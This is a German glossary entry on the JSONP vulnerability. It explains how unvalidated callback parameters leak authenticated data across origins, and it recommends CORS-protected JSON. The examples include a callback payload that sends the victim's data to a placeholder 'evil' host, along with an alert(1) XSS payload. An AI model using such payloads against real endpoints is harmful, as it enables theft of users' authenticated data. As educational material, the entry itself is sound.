JSONP-Schwachstelle
Was ist JSONP-Schwachstelle?
JSONP-SchwachstelleCross-Origin-Datenleck durch JSONP-Endpunkte, die authentifizierte sensible Daten in eine vom Angreifer gewählte Callback-Funktion einpacken.
JSONP (JSON with Padding) ist eine ältere Cross-Origin-Technik, bei der ein Server JavaScript der Form callback({...}) zurückgibt, damit eine fremde Seite die Antwort über <script src> einbinden kann. JSONP-Schwachstellen entstehen, wenn solche Endpunkte authentifizierte Nutzerdaten liefern und der Callback-Parameter ohne Validierung reflektiert wird: Der Angreifer hostet eine Seite, lädt die JSONP-URL mit eigenem Funktionsnamen und fängt die Antwort ab — umgeht damit Same-Origin-Policy und ehemalige SameSite-Schutzmaßnahmen. Wird Inhalt außerhalb gültiger Identifier reflektiert, ist zusätzlich XSS möglich. Modernes Vorgehen: JSONP entfernen, durch CORS-geschütztes JSON ersetzen und sensible Endpunkte nie via <script> einbindbar machen.
● Beispiele
- 01
/api/me?callback=window['x']=function(d){fetch('https://evil/?d='+JSON.stringify(d))}.
- 02
Callback-Parameter wird wörtlich gespiegelt und ermöglicht XSS via callback=alert(1)//.
● Häufige Fragen
Was ist JSONP-Schwachstelle?
Cross-Origin-Datenleck durch JSONP-Endpunkte, die authentifizierte sensible Daten in eine vom Angreifer gewählte Callback-Funktion einpacken. Es gehört zur Kategorie Angriffe und Bedrohungen der Cybersicherheit.
Was bedeutet JSONP-Schwachstelle?
Cross-Origin-Datenleck durch JSONP-Endpunkte, die authentifizierte sensible Daten in eine vom Angreifer gewählte Callback-Funktion einpacken.
Wie schützt man sich gegen JSONP-Schwachstelle?
Schutzmaßnahmen gegen JSONP-Schwachstelle kombinieren typischerweise technische Kontrollen und operative Praktiken, wie in der Definition oben beschrieben.
Welche anderen Bezeichnungen gibt es für JSONP-Schwachstelle?
Übliche alternative Bezeichnungen: JSONP-Leak, JSONP-Hijacking.